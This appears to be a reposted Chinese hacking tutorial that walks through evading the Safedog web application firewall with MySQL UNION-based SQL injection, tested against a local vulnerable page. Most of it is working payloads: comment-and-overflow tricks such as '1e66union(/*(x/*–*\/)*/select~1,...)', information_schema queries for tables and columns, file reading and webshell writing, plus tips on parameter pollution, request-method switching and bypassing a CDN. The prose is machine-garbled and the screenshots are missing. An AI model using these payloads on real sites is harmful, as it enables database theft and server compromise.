快捷搜索:  网络  后门  CVE  渗透  木马  扫描  黑客  as

MySQL联合注入之绕过安全狗到GetShell

*

发现网上地下过安全狗的要领少之又少,而且基本都是给个大概点就结束,本文章是将全部过程记录了一遍,因为一最先我也没想到我能成功的绕过去,大概过程是如许:Mysql基础必须要有–>定位—>fuzz—>得出阐发效果–>手工测试—>成功绕过。

网站安全狗:

面向网站安全,包括:网马扫描及查杀(自有引擎,只针对网页木马);网马主动防御功能(可主动拦截网马 上传以及走访的动作);防SQL注入功能、防XSS跨站攻击 功能;防盗链防下载;和防止CC攻击。 

相干代码:

Clipboard Image.png

测试过程

为了得到更好的测试,我写了21行的漏洞代码,用来摹拟攻击,并且在本机搭建了安全狗,选择了4.0最新版本,在测试的过程中,碰着了种种各样的阻挡,最后成功绕过了安全狗,下列是整个过程(边写文章边绕)。

要求 :http://127.0.0.1/1.php?id=1 and 1=1

Clipboard Image.png

判定是否存在SQL注入:

我们改为http://127.0.0.1/1.php?id=1and asd #没有被拦

http://127.0.0.1/1.php?id=1 axnxd 1=1 #没有被拦

得出结论 是正则匹配

只需把asd变型 或者 把axnxd 变型即可

http://127.0.0.1/1.php?id=1 %26%26 true #真

http://127.0.0.1/1.php?id=1 %26%26 false #假

http://127.0.0.1/1.php?id=1 %26%26 1 #真

http://127.0.0.1/1.php?id=1 %26%26 0 #假

Clipboard Image.png

加上两点:

要是判定SQL注入并且是Int类型注入:

http://127.0.0.1/1.php?id=2-1

由于这个INT注入类型没有进行本义成INT类型

所以就可以操作加减乘除法

http://127.0.0.1/1.php?id=2-1   实际上就成了http://127.0.0.1/1.php?id=1#2减1等于1

如许成功绕过了判定是否存在SQL注入

判定字段:

Order by xx #居然没有被拦

Clipboard Image.png

安全狗是昨天(2018年5月16)下载的 由于我怕本人的日记被上传到日记服务器安全人员会进行阐发 然后得出绕过安全狗的SQL语句,所以我就断网了。

Clipboard Image.png

进行联合注入:

Clipboard Image.png

变型之前起首知道要改哪个地位

http://127.0.0.1/1.php?id=1xunion(select1,2)

Clipboard Image.png

把注意力转换到X这个字节上。我们可以进行fuzz。然则我小我私人照样喜好手工一个一个挨个的试、

这里结合了一篇老外的文章:https://medium.com/bugbountywriteup/sql-injection-in-ctf-bef1ae0c5d9b

道理就是行使INT溢出进行绕过空格

Clipboard Image.png

Clipboard Image.png

Clipboard Image.png

照样被拦截

继续变型

找出症结地点地位

http://127.0.0.1/1.php?id=1e66union(1select1,2)

Clipboard Image.png

症结地位在1.这个地位需要变型

http://127.0.0.1/1.php?id=1e66union((select1,2))

http://127.0.0.1/1.php?id=1e66union(/**/select1,2)

http://127.0.0.1/1.php?id=1e66union(/**/select1,2)

http://127.0.0.1/1.php?id=1e66union(/*!x*/select1,2)

Clipboard Image.png

Clipboard Image.png

得出结论: 我们可以行使/*!*/来进行变型 然则问题是:

/*!一最先不能是数字*/

或者不能是/*!%数字开头*/

或者不能使 少部分/*!%[a-z0-9]*/

我们继续变型

进行fuzz(不使用工具,手工一个一个挨个的试,因为要求太快被封IP,除非配置延迟一秒要求一次)

又得出了变型思路

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*/)*/select~1,2)

Clipboard Image.png内陆测试

Clipboard Image.png

SQL语法错误 地位’)*/select~1,2)’

道理:

(/*(x/*–*/)*/    诠释:     /*  (/*(x/*–*/  到了这里就会被是作为注释我们直接本义即可

Clipboard Image.pngClipboard Image.png

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select1,2)

这里可以用~取代空格。或者括号都行

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,2)

更复杂一点的:

Clipboard Image.png

Clipboard Image.png

注入获取相干信息

获取数据库:

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,database())

Clipboard Image.png

查找症结地位

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,database(心东x))

Clipboard Image.png

锁定心东x是症结地点地位

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,databas(%0d))

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,databas(%0d%0a))

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,database(                 %20%20         ))

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,databas(多个字节))

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,database(/*(ddddd/*\/)*/))

Clipboard Image.png

获取表:

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select~1,table_namefrom information_schema.tables where table_schema=database())

Clipboard Image.png

继续定位:

Clipboard Image.png

最后定位在database();

阐发了一下安全狗真的那么垃?如许都不会被拦。。 实在不是,数据库黑客, 因为症结点在 ~1这里

Clipboard Image.png

这个地位也是定位的症结地位 要是替代成空格就 会被拦截 还有union那边

Clipboard Image.png

获取字段:

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select(1),column_namefrom information_schema.columns where table_name=’myadmin’ and table_schema=’test’ limit 0,1)

继续定位:

http://127.0.0.1/1.php?id=1e66union(/*(x/*–*\/)*/select(1),column_namefrom information_schema.columns where table_name=’myadmin’ and table_schema=’test’ limit 0,1)

Clipboard Image.png

得到地位

行使种种运算符

&& || 还有 | (位或运算符 取决于优先级)等

说一下位或运算符的道理:

位运算需要把字母或者数字转换为二进制,然后一位位进行对比,譬如:

Clipboard Image.png

37的二进制是100101

38的二进制是100110

效果:

100101 => 100110 = 100111

100101

100110

然后按位。。

效果

100111 也就是十进制的39

Clipboard Image.png

select ’2′|’x'=’x';

优先级问题:

Clipboard Image.png

= 的优先级比 | 小

所以先计算’2′|’x’

Clipboard Image.png

Clipboard Image.png

获取数据内容:

Clipboard Image.png

读取文件内容:

Clipboard Image.png

没有被拦 阐发了一下 首要核心是

Clipboard Image.png

这两点即可绕过

导出数据库(黑客所说的写入shell)然则按照专业的话来说应该是导出数据库

Clipboard Image.png定位:

Clipboard Image.png

内陆测试:

Clipboard Image.png

/**/可以代替空格 或者 换行归车

Clipboard Image.png

Clipboard Image.png

总结:变型的地位不止一个,变幻无穷,地位其实绕无非可以换别之处例如:

不知道定位地位 我们可以选择盲绕

譬如:

http://127.0.0.1/1.php?id=1111e66union(/*(q/*-q-q*q\/q)*/select@1,(column_namE)from(`iNformation_schema`/*!.*/`columns`)where(/*\/*/`table_name`)like(0x6D7961646D696E)%26%26`table_schema`like(0×74657374))

Clipboard Image.png

补充阐发

这里我补充一点

我们可以尝试着找出一些服务漏洞 例如IIS 可以行使百分号

或者找一下参数污染漏洞a=1&a=2&a=3

我们还可以行使一些其他要求进行绕过。譬如GET要求换POST,POST要求换成multipart/form-data。

或许可以想象他的代码 譬如我们提交 selselectect 他查找惊险SQL语句 把惊险的删掉 最后变成了select。

还有参数溢出。我印象最深的绕过WAF是3层防火墙,CDN第一层,WAF设备(设备机器)第二层,WAF软件(安全狗,360,种种)第三层

第一层:

CDN 提交一些惊险SQL语句 会被拦截,找出真实IP即可绕过

第二层:

设备防火墙 正则匹配变形即可

第三层:

软件防火墙 试了种种要领绕无非去,然则行使了参数溢出就绕过了。至今还搞不懂道理(目标nginx 按理来说应该返归414或405错误)

*

您可能还会对下面的文章感兴趣: